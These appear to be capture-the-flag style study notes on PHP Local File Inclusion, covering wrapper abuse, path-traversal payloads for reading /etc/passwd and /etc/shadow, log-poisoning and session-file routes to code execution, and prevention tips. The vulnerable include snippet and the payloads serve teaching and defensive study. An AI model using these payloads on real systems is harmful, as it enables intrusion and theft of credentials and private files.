LFI

- **What is a Local File Inclusion (LFI) vulnerability?**
  - It is a web application vulnerability that allows the attacker to include and read local files on the server.
  - These files could contain sensitive data such as cryptographic keys, databases that contain passwords, and other private data.
- **PHP Functions led LFI**
  - include
    require
    include_once
    require_once
    ```
    <?PHP
        include($_GET["file"]);
    ?>
    ```
- **What is the risk of LFI?**
  - Once you find an LFI vulnerability, it is possible to read sensitive data if you have readable permissions on files.
  - LFI vulnerability could be chained to perform Remote Code Execution RCE on the server.
    - If we can inject or write to a file on the system
- **Exploiting LFI**
  - Exploiting an LFI sometimes is limited and depends on the web application server configuration.
  - **PHP Filter**
    - The PHP filter wrapper is used in LFI to read the actual PHP page content.
    - we can use the PHP filter to display the content of PHP files in other encoding formats such as base64 or ROT13.
    - `http://example.thm.labs/page.php?file=php://filter/resource=/etc/passwd`
    - `http://example.thm.labs/page.php?file=php://filter/read=string.rot13/resource=/etc/passwd`
      `http://example.thm.labs/page.php?file=php://filter/convert.base64-encode/resource=/etc/passwd`
  - **PHP DATA**
    - The PHP wrapper is used to include raw plain text or base64 encoded data.
    - It is used to include images on the current page.
    - `echo "AoC3 is fun!" | base64 QW9DMyBpcyBmdW4hCg==`
      - `http://example.thm.labs/page.php?file=data://text/plain;base64,QW9DMyBpcyBmdW4hCg==`
        - As a result, the page will show our lovely message, which is AoC3 is fun!
  - **RCE via LFI**
    - Log files = log poisoning attack
      - user can include a malicious payload into an apache log file via User-Agent or other HTTP headers.
      - In SSH, the user can inject a malicious payload in the username section.
      - `curl -A "<?php phpinfo();?>" http://LAB_WEB_URL.p.thmlabs.com/login.php`
    - PHP Sessions
      - PHP sessions are files within the operating system that store temporary information.
      - After the user logs out of the web application, the PHP session information will be deleted.
      - This technique requires enumeration to read the PHP configuration file first,and then we know where the PHP sessions files are.
      - Then, we include a PHP code into the session and finally call the file via LFI.
      - some of the common locations that the PHP stores in:
        - c:\Windows\Temp
          /tmp/
          /var/lib/php5
          /var/lib/php/session
      - PHP, by default uses the following naming scheme, sess_<SESSION_ID> where we can find the SESSION_ID using the browser and verifying cookies sent from the server.
        - ex: PHPSESSID = vc4567al6pq7usm2cufmilkm45
          - FileName : sess_vc4567al6pq7usm2cufmilkm45
          - `https://LAB_WEB_URL.p.thmlabs.com/login.php?err=/tmp/sess_vc4567al6pq7usm2cufmilkm45`
- **Notes**
  - entry point could be HTTP GET or POST parameters that pass an argument or data to the web application to perform a specific operation.

    -
      ```
      http://example.thm.labs/page.php?file=/etc/passwd http://example.thm.labs/page.php?file=../../../../../../etc/passwd
      http://example.thm.labs/page.php?file=../../../../../../etc/passwd%00
      http://example.thm.labs/page.php?file=....//....//....//....//etc/passwd
      http://example.thm.labs/page.php?file=%252e%252e%252fetc%252fpasswd
      ```
  - In addition, other entry points can be used depending on the web application, and where can consider the User-Agent, Cookies, session, and other HTTP headers.
  - Once you have successfully viewed the content of the /etc/passwd file, you can test for other files.
  - testing for reading local files related to the operating system
    - Linux system files

      -
        ```
        /etc/issue
        /etc/passwd
        /etc/shadow
        /etc/group
        /etc/hosts
        /etc/motd
        /etc/mysql/my.cnf
        /proc/[0-9]*/fd/[0-9]*   (first number is the PID, second is the filedescriptor)
        /proc/self/environ
        /proc/version
        /proc/cmdline
        ```
- **Preventing**
  - **ID assignation** – save your file paths in a secure database and give an ID for every single one, this way users only get to see their ID without viewing or altering the path
  - **Whitelisting** – use verified and secured whitelist files and ignore everything else
  - **Use databases** – don't include files on a web server that can be compromised, use a database instead
  - **Better server instructions** – make the server send download headers automatically instead of executing files in a specified directory